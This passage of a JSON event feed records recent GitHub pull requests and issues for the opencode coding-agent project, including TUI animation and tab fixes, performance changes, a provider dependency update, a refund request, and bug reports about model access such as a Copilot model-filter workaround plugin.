        "signal": {
          "id": "github:anomalyco/opencode:pull_request:40427",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "some experimental perf improvements",
          "text": "## TL;DR This is the reduced v2-only performance series. The rebase removed all dev-era legacy-layout, compatibility-client, Home-worker, locale, and profiler changes that do not apply to `v2`. | Area | v2 baseline | PR behavior | | --- | --- | --- | | Session route loading | Session page is in the initial route graph | Canonical session route is a lazy route chunk | | Home to session navigation | Nested lazy content can expose an empty Suspense frame | Router sees the lazy route directly and retains current route during transition | | Restored session startup | App mounts before session route code is ready | Session route preloads behind the existing startup splash | | Home session intent | Session route loads only after navigation | Route warms after Home is usable and idle | | History page size | 200 messages | 50 messages | | History ingestion | Projection continues in the response task | Yields to the main thread before projection | | Renderer highlighting | Pierre can initialize renderer Shiki WASM | Uses worker-side Shiki highlighting | | Completed Markdown | Full completed projection and one large DOM pass | Simpler completed blocks and an 8 ms frame budget | | Composer input | Prompt structure and cursor traverse the editor separately | One editor traversal computes both | ## v2 Rebase | Item | Result | | --- | --- | | Base | `v2` at `47c8d85904` | | Retained commits | 6 | | Changed files | 13 | | Legacy layout commits | Dropped; v2 has already removed the legacy layout | | Compatibility-client workers | Dropped; v2 uses one current generated API | | Home worker/cache fix | Dropped; v2 already keeps its Home index server-wide | | Portable profiler | Dropped; it depended on dev-only desktop hooks and old schema/API behavior | ## Route Stability The canonical route component registered with Solid Router is now the lazy component itself. This lets Router discover the pending module inside its built-in transition instead of committing an eager wrapper and then suspending on nested content. | Path | Behavior | | --- | --- | | Cold Home | Home stays in the initial bundle | | Home idle | Session route starts warming after 1.5 seconds and an idle callback | | Home to session | Existing Home remains visible while the lazy route resolves | | Session tab switch | Loaded session route is reused | | Desktop restored session | Startup splash remains until route preload completes | The route wrapper is small and owns the target-server SDK/sync providers. The full session page remains in the session chunk. ## History | Change | Effect | | --- | --- | | Initial page remains 20 messages | Preserves fast first content | | History pages reduced from 200 to 50 | Bounds response projection and DOM reconciliation | | Main-thread yield before normalization | Gives the browser a paint opportunity before history ingestion | | Updated regression fixture | Covers completion and interruption with the new page size | ## Markdown | Problem | Change | | --- | --- | | Completed Markdown always used the full completed projection | Uses bounded completed top-level blocks unless references require full projection | | Every completed block could update in one task | Updates within an 8 ms budget and continues on the next animation frame | | Superseded rendering could continue | Render generations cancel stale frame work | | Copy controls updated during partial rendering | Final setup runs after block rendering completes | ## Composer The v2 prompt input parser now returns prompt parts and cursor position from one traversal of the contenteditable tree. Cursor-only updates are limited to keys that can move the cursor. ## Validation | Validation | Result | | --- | --- | | Repository pre-push typecheck | 33/33 tasks passed | | App typecheck | Passed | | App E2E typecheck | Passed | | Desktop typecheck | Passed | | Session UI typecheck | Passed | | App unit tests | 675 passed, 13 skipped | | Markdown tests | 24 passed | | Desktop production build | Passed | | History completion regression | Passed | | History interruption regression | Passed on isolated retry | One combined Playwright run hit an existing initial-navigation race in the interruption case before reaching the changed history boundary; the completion case passed, and the interruption case passed when rerun alone.",
          "url": "https://github.com/anomalyco/opencode/pull/40427",
          "createdAt": "2026-08-04T12:20:47Z",
          "updatedAt": "2026-08-13T15:51:45Z",
          "timestamp": "2026-08-13T15:51:45Z",
          "metrics": {
            "reactions": 0,
            "comments": 7
          },
          "labels": [
            "beta"
          ],
          "author": "Hona",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:f80038b9eccbfe3d0e69",
        "signalId": "github:anomalyco/opencode:issue:42321",
        "event": "changed",
        "observedAt": "2026-08-13T16:19:22.035158Z",
        "changedFields": [
          "updatedAt",
          "metrics",
          "labels",
          "state"
        ],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42321",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Refund Request – OpenCode Go Subscription",
          "text": "### Feature hasn't been suggested before. - [x] I have verified this feature I'm about to request hasn't been suggested before. ### Describe the enhancement you want to request Dear OpenCode Support Team, I’m writing to request a refund for my recent OpenCode Go subscription payment. I’m a student with a very limited budget, and after reviewing my finances, I realized that this subscription is more than I can reasonably afford at the moment. The payment has put some pressure on my available spending budget, so I would really appreciate it if you could make an exception and issue a refund for the recent subscription charge. I understand that refunds may be subject to your policies, but I kindly ask you to consider my situation and review this request manually. I’m not trying to misuse the service—I simply made a purchase that I now realize I cannot comfortably afford as a student. I would be very grateful if you could refund the recent charge and cancel the subscription so that I’m not charged again. Thank you very much for your time and consideration. I sincerely appreciate any help you can provide. Best regards, [zky6663p@gmail.com](mailto:zky6663p@gmail.com)",
          "url": "https://github.com/anomalyco/opencode/issues/42321",
          "createdAt": "2026-08-13T13:07:21Z",
          "updatedAt": "2026-08-13T15:47:54Z",
          "timestamp": "2026-08-13T15:47:54Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [],
          "author": "jayden264",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:9ae47f480cc100c2e70c",
        "signalId": "github:anomalyco/opencode:pull_request:42330",
        "event": "changed",
        "observedAt": "2026-08-13T16:19:22.035158Z",
        "changedFields": [
          "updatedAt",
          "metrics",
          "labels",
          "state"
        ],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42330",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(tui): refresh terminal size before resize",
          "text": "## Summary - refresh cached TTY dimensions before OpenTUI reads them - install the refresh listener ahead of the OpenTUI `SIGWINCH` listener - remove the listener with the TUI scope ## Testing - `bun test` in `packages/tui` - `bun typecheck` in `packages/tui` - tmux conversation resize smoke test: 68 -> 119 -> 68 columns Fixes #42225",
          "url": "https://github.com/anomalyco/opencode/pull/42330",
          "createdAt": "2026-08-13T13:29:26Z",
          "updatedAt": "2026-08-13T15:47:51Z",
          "timestamp": "2026-08-13T15:47:51Z",
          "metrics": {
            "reactions": 1,
            "comments": 2
          },
          "labels": [
            "contributor"
          ],
          "author": "fancive",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:a966ca82bcda32820b0b",
        "signalId": "github:anomalyco/opencode:pull_request:42214",
        "event": "changed",
        "observedAt": "2026-08-13T16:19:22.035158Z",
        "changedFields": [
          "updatedAt",
          "state"
        ],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42214",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "feat(tui): highlight Bash commands",
          "text": "## What Highlight Bash syntax wherever commands are shown or edited in the TUI: - `!` Shell-mode prompt input while the user types - agent shell tool commands in inline and expanded tool views Keywords, strings, variables, comments, and punctuation use the active TUI syntax theme. ## How - `packages/tui/src/component/prompt/index.tsx` parses Shell-mode input as Bash after edits and applies the resulting theme styles directly to the textarea edit buffer. Stale asynchronous parser results are discarded, and highlights are removed when the input changes or Shell mode closes. - `packages/tui/src/routes/session/index.tsx` renders submitted Shell-mode commands and agent shell commands with the native `<code filetype=\"bash\">` component. - Shell output remains plain, subdued text beneath the highlighted command. ## Scope This changes TUI presentation only. It does not change command execution, shell selection, or tool behavior. ## Testing - Direct Tree-sitter parser probe confirmed Bash captures for keywords, strings, variables, and comments. - `bun typecheck` from `packages/tui` - `bun run test` from `packages/tui` (689 passed, 5 skipped) - Prettier check and `git diff --check` - Full repository push-hook typecheck (34 packages passed) - Scripted OpenCode Drive capture exercised ordinary and compound Shell-mode input plus an actual agent shell tool call ## Demo ### Shell-mode editing The recording shows `ls -la`, `git status --short && echo \"clean\"`, and a loop with a variable and comment. https://github.com/user-attachments/assets/b5d0e56e-cd30-4581-8116-69e34cd609b2 ![Ordinary Shell-mode command](https://github.com/user-attachments/assets/600e3bd0-15fb-45e5-ac7d-c7a995d9ad7d) ![Compound Shell-mode command](https://github.com/user-attachments/assets/99014f85-aa84-4c25-ae68-4f5d0ed3d838) ![Shell-mode loop with variable and comment](https://github.com/user-attachments/assets/6ef7721b-7e2a-4feb-aa72-16f0801497be) ### Agent shell tool call The recording shows an actual agent shell tool call with highlighted command syntax and real shell output. https://github.com/user-attachments/assets/ac0f0809-8795-462b-99fd-0b2ed7665c57 ![Highlighted agent shell tool command](https://github.com/user-attachments/assets/5ed016ba-9cf0-4d78-a8f5-2c318ceb83b9)",
          "url": "https://github.com/anomalyco/opencode/pull/42214",
          "createdAt": "2026-08-13T01:55:05Z",
          "updatedAt": "2026-08-13T15:45:18Z",
          "timestamp": "2026-08-13T15:45:18Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "kitlangton",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:0594c54ccddf558f2ca6",
        "signalId": "github:anomalyco/opencode:issue:40206",
        "event": "changed",
        "observedAt": "2026-08-13T16:19:22.035158Z",
        "changedFields": [
          "updatedAt",
          "metrics",
          "state"
        ],
        "signal": {
          "id": "github:anomalyco/opencode:issue:40206",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "grok-4.5 on opencode go not working since 2 Aug",
          "text": "### Description grok-4.5 has been returning errors since 2 Aug. ### Plugins NA ### OpenCode version v1.18.11 ### Steps to reproduce Call grok-4.5 on opencode go via openai chat completions api, response is always 500. ### Screenshot and/or share link NA ### Operating System Windows 11 ### Terminal Windows Terminal",
          "url": "https://github.com/anomalyco/opencode/issues/40206",
          "createdAt": "2026-08-03T02:32:16Z",
          "updatedAt": "2026-08-13T15:44:50Z",
          "timestamp": "2026-08-13T15:44:50Z",
          "metrics": {
            "reactions": 1,
            "comments": 8
          },
          "labels": [],
          "author": "lirc571",
          "state": "closed",
          "assignees": [
            "fwang"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:e91e8cb3c529513cd44f",
        "signalId": "github:anomalyco/opencode:pull_request:42347",
        "event": "discovered",
        "observedAt": "2026-08-13T16:19:22.035158Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42347",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "chore: update ai gateway provider",
          "text": "## Summary - update `ai-gateway-provider` from 3.1.2 to 3.2.0 in both `packages/core` and `packages/opencode` - refresh the lockfile, including the provider's updated optional AI SDK integrations - remain on the AI SDK 6-compatible provider line; 4.x requires AI SDK 7 ## Upstream changes 3.2.0 adds: - `byokAlias` and `zdr` universal-endpoint options - current `cf-aig-cache-ttl` and `cf-aig-skip-cache` headers, replacing deprecated cache header names - opt-in resumable streaming for the Workers binding/run path (still marked experimental upstream) - shared provider routing and `cf-aig-*` header construction with the Workers AI Gateway delegate - the corrected `AiGatewayRetries` type name, while retaining `AiGatewayReties` as a deprecated alias The intervening 3.1.3 release only updated dependencies and replaced the package's build tool. Existing behavior is otherwise unchanged upstream. ## Compatibility 3.2.0 keeps the same peer dependency majors as 3.1.2: AI SDK 6, `@ai-sdk/provider` 3, `@ai-sdk/provider-utils` 4, and `@ai-sdk/openai-compatible` 2. No OpenCode call-site changes are required. ## Validation - `bun install --frozen-lockfile` - `bun typecheck` in `packages/core` - `bun test test/provider/provider.test.ts` in `packages/opencode` (100 passed, including Cloudflare AI Gateway coverage) Additional notes: - the focused `packages/core` Cloudflare provider test currently fails during module initialization, before any test executes, with `Cannot access 'CloudflareAIGatewayPlugin' before initialization`; it mocks the upgraded package and does not exercise its runtime - `bun typecheck` in `packages/opencode` did not finish within a five-minute bounded run on the shared host Requested by: @rekram1-node (Aiden Cline via Slack)",
          "url": "https://github.com/anomalyco/opencode/pull/42347",
          "createdAt": "2026-08-13T15:42:42Z",
          "updatedAt": "2026-08-13T15:42:51Z",
          "timestamp": "2026-08-13T15:42:51Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "opencode-agent[bot]",
          "state": "open",
          "assignees": [
            "rekram1-node"
          ],
          "change": "new"
        }
      },
      {
        "id": "event:f9f4aa0bdfd4000048e4",
        "signalId": "github:anomalyco/opencode:issue:42083",
        "event": "changed",
        "observedAt": "2026-08-13T16:19:22.035158Z",
        "changedFields": [
          "updatedAt",
          "metrics"
        ],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42083",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "GitHub Copilot provider shows zero models: all models return `model_picker_enabled: false`",
          "text": "## Summary On opencode 1.18.15 (Arch package), the `github-copilot` provider never appears in the model picker. `opencode auth login -p github-copilot` works (auth succeeds), but `opencode models github-copilot` returns \"Provider not found\", and `/models` in the TUI shows no Copilot models. ## Root cause In `packages/opencode/src/plugin/github-copilot/copilot.ts`, the `models()` hook returns only models where `result.pickerEnabled.has(model.api.id)`: ```ts return CopilotModels.get(...) .then((result) => { models = result.models return Object.fromEntries( Object.entries(result.models).filter(([, model]) => result.pickerEnabled.has(model.api.id)), ) }) ``` `pickerEnabled` (built in `models.ts:257`) is the set of models with `model_picker_enabled: true` in the API response: ```ts pickerEnabled: new Set([...remote].filter(([, item]) => item.model_picker_enabled).map(([id]) => id)), ``` GitHub's `GET https://api.githubcopilot.com/models` currently returns **`model_picker_enabled: false` for every single model** — even ones that are `policy.state: \"enabled\"` and fully usable. So `pickerEnabled` is always empty, the filter drops everything, and the provider surfaces zero models. ## Evidence Using a valid, freshly-authenticated Copilot OAuth token (device flow, `client_id=Ov23li8tweQw6odWQebz`): ``` HTTP 200, total models: 47 policy states: disabled: 18 | none: 23 (internal: copilot-search-*, exec-agent-*) | enabled: 6 model_picker_enabled=true: 0 ``` The 6 `policy.state: \"enabled\"` models (gpt-4o, gpt-5-mini, claude-haiku-4.5, gpt-4.1, mai-code-1-flash, mai-code-1.1-flash) pass the existing `usable()` check (`models.ts:207`), and chat completions against them work fine: ``` POST https://api.githubcopilot.com/chat/completions → 200, \"Hi there! ...\" ``` So the account/subscription is fine — the filter is the problem. Note: exchanging the OAuth token for a Copilot session token via `api.github.com/copilot_internal/v2/token` and using *that* against `/models` returns **403**, so the session-token route is not a workaround either. ## Suggested fix Filter by the already-existing `usable()` predicate (`policy.state !== \"disabled\"` + has `max_output_tokens`/`max_prompt_tokens` + has `tool_calls`) instead of, or in addition to, `model_picker_enabled`. Either: - Return `result.models` (already filtered by `usable()` inside `CopilotModels.get`) without the `pickerEnabled` filter, or - Union `pickerEnabled` with the usable set. `model_picker_enabled` appears to be a deprecated/no-longer-reliable signal from GitHub's API. ## Workaround A local plugin overriding the provider's `models()` hook to return all usable models (same `usable()` criteria, no picker filter) restores all 25 available Copilot models: ```js // ~/.config/opencode/plugins/copilot-picker-fix.js export const CopilotPickerFix = async () => ({ provider: { id: \"github-copilot\", async models(provider, ctx) { if (ctx.auth?.type !== \"oauth\") return provider.models const base = ctx.auth.enterpriseUrl ? `https://copilot-api.${ctx.auth.enterpriseUrl.replace(/^https?:\\/\\//, \"\").replace(/\\/$/, \"\")}` : \"https://api.githubcopilot.com\" const r = await fetch(`${base}/models`, { headers: { Authorization: `Bearer ${ctx.auth.refresh}`, \"User-Agent\": \"opencode/1.18.15\", \"X-GitHub-Api-Version\": \"2026-06-01\" }, signal: AbortSignal.timeout(5000), }) if (!r.ok) return provider.models const j = await r.json() const models = {} for (const m of j.data || []) { if (m.policy?.state === \"disabled\") continue const lim = m.capabilities?.limits if (!lim?.max_output_tokens || !lim?.max_prompt_tokens) continue if (m.capabilities?.supports?.tool_calls === undefined) continue const isMsg = m.supported_endpoints?.includes(\"/v1/messages\") models[m.id] = { id: m.id, providerID: \"github-copilot\", api: { id: m.id, url: isMsg ? `${base}/v1` : base, npm: isMsg ? \"@ai-sdk/anthropic\" : \"@ai-sdk/github-copilot\" }, status: \"active\", limit: { context: lim.max_context_window_tokens ?? lim.max_prompt_tokens, input: lim.max_prompt_tokens, output: lim.max_output_tokens }, capabilities: { temperature: true, reasoning: true, attachment: true, toolcall: m.capabilities.supports.tool_calls, input: { text: true, audio: false, image: !!m.capabilities.supports.vision, video: false, pdf: false }, output: { text: true, audio: false, image: false, video: false, pdf: false }, interleaved: false }, family: m.capabilities.family, name: m.name, cost: { input: 0, output: 0, cache: { read: 0, write: 0 } }, options: {}, headers: {}, release_date: m.version.startsWith(`${m.id}-`) ? m.version.slice(m.id.length + 1) : m.version, } } return models }, }, }) ``` ## Environment - opencode 1.18.15-1 (Arch Linux package) - GitHub Copilot subscription: active (chat completions return 200) - OAuth apps tested: opencode's own (`Ov23li8tweQw6odWQebz`) and the VSCode Copilot app (`Iv1.b507a08c87ecfe98`) — same result either way",
          "url": "https://github.com/anomalyco/opencode/issues/42083",
          "createdAt": "2026-08-12T16:33:43Z",
          "updatedAt": "2026-08-13T15:40:38Z",
          "timestamp": "2026-08-13T15:40:38Z",
          "metrics": {
            "reactions": 1,
            "comments": 4
          },
          "labels": [],
          "author": "Keylessboi",
          "state": "open",
          "assignees": [
            "nexxeln"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:6352857253edc509f85f",
        "signalId": "github:anomalyco/opencode:pull_request:42346",
        "event": "discovered",
        "observedAt": "2026-08-13T16:19:22.035158Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42346",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(tui): stop disabled tab pulse rendering",
          "text": "## What Prevent disabled tab pulses from keeping the OpenTUI renderer live after their session becomes active. Enabled running sweeps, breathing, flashes, and completion animations are unchanged. ## Before / After **Before** 1. A tab pulse mounted with animations disabled. 2. Its session later transitioned to active. 3. `PulseState.live` returned `true` from `active` without considering `enabled`. 4. The invisible pulse propagated liveness to the renderer root, producing continuous frames despite no visual changes. In the reproduced TUI, four disabled pulses held the renderer at 53–57 FPS while native stats reported zero changed cells. **After** `PulseState.live` is gated by `enabled`. A disabled pulse remains non-live through later activity transitions, so it cannot start an invisible render loop. ## How - `packages/tui/src/component/tab-pulse.tsx`: require the pulse to be enabled before any active, breathing, or finite envelope state contributes liveness. - `packages/tui/test/component/tab-pulse.test.tsx`: mount a disabled pulse, transition it to active, and assert root liveness remains zero. ## Scope This PR only fixes disabled-animation liveness. It does not change the frame rate or appearance of enabled animations, and it does not address full-root rendering costs while legitimate animations are active. ## Testing - `cd packages/tui && bun run test test/component/tab-pulse.test.tsx` — 7 passed - `cd packages/tui && bun typecheck` - Repository pre-push hook: all 34 package typechecks passed - Diagnostic TUI verification: `rootLiveCount` dropped from 4 to 0 and frame count stopped advancing after hydration when animations were disabled",
          "url": "https://github.com/anomalyco/opencode/pull/42346",
          "createdAt": "2026-08-13T15:32:25Z",
          "updatedAt": "2026-08-13T15:32:35Z",
          "timestamp": "2026-08-13T15:32:35Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "kitlangton",
          "state": "open",
          "assignees": [],
          "change": "new"
        }
      },
      {
        "id": "event:1ab7c1938e5ea4604c0c",
        "signalId": "github:anomalyco/opencode:pull_request:42345",
        "event": "discovered",
        "observedAt": "2026-08-13T16:19:22.035158Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42345",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(tui): transition vertical tab states",
          "text": "## What Smoothly transition every visual state in the vertical session sidebar. Selecting an unread tab now eases its background, text, shortcut number, unread glow, and separator hue back to the active/read state instead of snapping between colors. ## Before / After **Before:** selecting an unread or failed tab cleared its unread state immediately. The pulse renderer faded its background glow, but the surrounding tab colors were derived directly from booleans and jumped to their destination in one frame. **After:** each vertical tab owns one interruptible 140 ms visual-state tween. Rapid selection, hover, activity, error, and attention changes continue from the current rendered state, while the existing pulse fade remains coordinated with them. ## How - `packages/tui/src/component/session-tabs.tsx` maps selection, hover, activity, unread glow, error, and attention into one animatable visual state per vertical tab. - Tab backgrounds, foregrounds, shortcut colors, title glow intensity, and separator hues blend from that shared state. - The horizontal tab strip is unchanged. ## Scope This only changes vertical sidebar state transitions. It does not change unread semantics, pulse timing, tab layout, or horizontal tab behavior. ## Testing - `bun typecheck` from `packages/tui` - `bun run test test/component/tab-pulse.test.tsx` from `packages/tui` (6 passed) - Full repository pre-push typecheck (32 packages passed) - OpenCode Drive capture against this development checkout, using the built-in session-tabs fixture ## Demo The fixture runs an inactive tab to completion, then selects between tabs to show unread glow and all related colors transitioning out and reversing cleanly. https://github.com/user-attachments/assets/63880014-dd9f-457d-bb5f-da97ba9d8f93",
          "url": "https://github.com/anomalyco/opencode/pull/42345",
          "createdAt": "2026-08-13T15:27:18Z",
          "updatedAt": "2026-08-13T15:31:05Z",
          "timestamp": "2026-08-13T15:31:05Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "kitlangton",
          "state": "closed",
          "assignees": [],
          "change": "new"
        }
      },
      {
        "id": "event:fe9fdeef4c33b34ff7b3",
        "signalId": "github:anomalyco/opencode:pull_request:42344",
        "event": "discovered",
        "observedAt": "2026-08-13T16:19:22.035158Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42344",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(tui): disclose truncated tab titles",
          "text": "## What Keep truncated session tab titles stationary and disclose the full title in a delayed hover tooltip instead of scrolling it as a marquee. The tooltip appears only when the title exceeds its available cells, stays within the terminal bounds, and works in both the vertical session rail and horizontal tab strip. ## Before / After **Before:** Hovering a truncated tab for 600 ms started a continuously looping marquee. The tab label changed beneath the pointer and could keep moving independently of the user scanning the tab strip. **After:** The truncated title remains a stable, softly faded landmark. A deliberate 600 ms hover opens the full title beside or below the tab, and leaving, pressing, dragging, switching layout, or removing the tab dismisses it immediately. ## How - `packages/tui/src/component/session-tabs.tsx` replaces the marquee timer and offset state with overflow-only delayed disclosure state. - Tooltip placement opens into available space for the vertical rail and anchors to the hovered tab in the horizontal strip, with terminal-bound fallback alignment. - The retired marquee utility and its tests are removed; focused disclosure tests cover delay, overflow gating, and immediate dismissal. ## Scope This changes only pointer-hover disclosure for truncated TUI session tab titles. Tab sizing, keyboard navigation, close controls, drag ordering, and the web titlebar are unchanged. ## Testing - `bun run test test/component/session-tabs-title-disclosure.test.ts test/context/session-tabs-model.test.ts` from `packages/tui` (33 passing) - `bun typecheck` from `packages/tui` - Push hook: repository-wide `bun turbo typecheck --concurrency=3` (34 successful tasks) - OpenCode Drive storybook run in a real PTY at 100x40, verifying delayed hover disclosure and immediate dismissal in both orientations ## Demo Isolated OpenCode Drive `session-tabs` story using the production `SessionTabs` component. The pointer hovers a truncated title in the vertical rail, then repeats the interaction in the horizontal strip. https://github.com/user-attachments/assets/bc218d03-5607-48a7-bc36-a9ba0ca55b24",
          "url": "https://github.com/anomalyco/opencode/pull/42344",
          "createdAt": "2026-08-13T15:21:40Z",
          "updatedAt": "2026-08-13T15:23:20Z",
          "timestamp": "2026-08-13T15:23:20Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "kitlangton",
          "state": "closed",
          "assignees": [],
          "change": "new"
        }
      },
      {
        "id": "event:dad3a031f3efe2a5b980",
        "signalId": "github:anomalyco/opencode:issue:42293",
        "event": "changed",
        "observedAt": "2026-08-13T16:19:22.035158Z",
        "changedFields": [
          "updatedAt",
          "metrics"
        ],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42293",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "opencode zen DeepSeek V4 Flash Free requests fail with [invalid_bearer_credential]",
          "text": "### Description I was using opencode connected to DeepSeek V4 Flash Free on opencode zen, and most - *but not all*! - requests failed with an error, `Upstream request failed: [invalid_bearer_credential] Missing or invalid bearer credential` This happened with version 1.18.3. I upgraded to 1.18.18, and it kept happening. I then connected to DeepSeek V4 Flash on my opencode **go** subscription, and the request immediately succeeded, and kept working. ### Plugins None ### OpenCode version 1.18.18 ### Steps to reproduce 1. Connect to opencode zen 2. Choose DeepSeek V4 Flash (Free) as the model 3. Ask some number of requests, most of them seem to be failing at the time of reporting. ### Screenshot and/or share link With DeepSeek V4 Flash Free on OpenCode Zen: <img width=\"1896\" height=\"1642\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/bb2b2c90-7204-4f3b-a905-34dd47dcddbc\" /> With DeepSeek V4 Flash on OpenCode Go: <img width=\"1896\" height=\"1642\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/ee91724e-6030-4604-a3e7-c53bfc1f5d7c\" /> ### Operating System Ubuntu 26.04 ### Terminal Ubuntu terminal",
          "url": "https://github.com/anomalyco/opencode/issues/42293",
          "createdAt": "2026-08-13T09:21:50Z",
          "updatedAt": "2026-08-13T15:21:49Z",
          "timestamp": "2026-08-13T15:21:49Z",
          "metrics": {
            "reactions": 0,
            "comments": 8
          },
          "labels": [],
          "author": "cbrunschen",
          "state": "open",
          "assignees": [
            "MrMushrooooom"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:6750e5885ec6012151fe",
        "signalId": "github:anomalyco/opencode:issue:42329",
        "event": "changed",
        "observedAt": "2026-08-13T16:19:22.035158Z",
        "changedFields": [
          "text",
          "updatedAt",
          "metrics",
          "labels",
          "assignees"
        ],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42329",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Fetch Failed",
          "text": "Description After working with openCode, I receive a \"Failed to fetch\" error when trying to send a prompt. After restart I can send 0-1 new prompt and got the same error. Before last update i don't experienced problems Steps to Reproduce Launch openCode Type a prompt. Observe the \"Failed to fetch\" error toast Try sending again or performing any other action — no response Error Message TypeError: Failed to fetch Environment OS: Windows 11 Pro 25H2 openCode Version: OpenCode Desktop v1.18.18.0 Installation method: Official website installer Expected Behavior Prompts should be sent successfully and responses should be returned without errors. Actual Behavior All requests fail with Failed to fetch, making the application completely unusable. Additional Context This happens reliably every time I open the app. It seems like the app is unable to connect to the backend or the network request is being blocked somehow. Plugins No response OpenCode version OpenCode Desktop v1.18.18.0 Steps to reproduce Restart app or laptop - the same error. Screenshot and/or share link",
          "url": "https://github.com/anomalyco/opencode/issues/42329",
          "createdAt": "2026-08-13T13:24:18Z",
          "updatedAt": "2026-08-13T15:16:55Z",
          "timestamp": "2026-08-13T15:16:55Z",
          "metrics": {
            "reactions": 0,
            "comments": 3
          },
          "labels": [],
          "author": "devfortsystems",
          "state": "open",
          "assignees": [
            "Hona"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:005a823cd385c6dcb187",
        "signalId": "github:anomalyco/opencode:pull_request:42337",
        "event": "discovered",
        "observedAt": "2026-08-13T16:19:22.035158Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42337",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(skills): Update global config path in documentation",
          "text": "Clarified the global config path to include both JSON and JSONC formats. ### Issue for this PR Closes #32717 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Fixes an issue where AI agents almost always miss out on looking for opencode.jsonc file and assumes the global config file is missing ### How did you verify your code works? Gave a prompt \"use customize-opencode skill and tell me where is global config\" and I got response: I'll load the skill. →Skill \"customize-opencode\" Global config lives at: - ~/.config/opencode/opencode.json (or opencode.jsonc) - On your machine: C:\\Users\\Aditya\\.config\\opencode\\opencode.json Note it's not ~/.opencode/. Other global items sit alongside it: - Agents: ~/.config/opencode/agent/<name>.md - Commands: ~/.config/opencode/command/<name>.md - Skills: ~/.config/opencode/skill/<name>/SKILL.md Project config (./opencode.json or .opencode/opencode.json) deep-merges over global. ### Screenshots / recordings <img width=\"2560\" height=\"1524\" alt=\"image\" src=\"https://github.com/user-attachments/assets/def8a86a-6562-4fda-baf3-61e57fe08acf\" /> ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/42337",
          "createdAt": "2026-08-13T14:26:19Z",
          "updatedAt": "2026-08-13T15:12:29Z",
          "timestamp": "2026-08-13T15:12:29Z",
          "metrics": {
            "reactions": 0,
            "comments": 3
          },
          "labels": [],
          "author": "TechyAditya",
          "state": "open",
          "assignees": [],
          "change": "new"
        }
      },
      {
        "id": "event:b513be4dfe6c788a4e49",
        "signalId": "github:anomalyco/opencode:issue:42343",
        "event": "discovered",
        "observedAt": "2026-08-13T16:19:22.035158Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42343",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Feedback: Plugin tool missing in GUI desktop session but present in CLI",
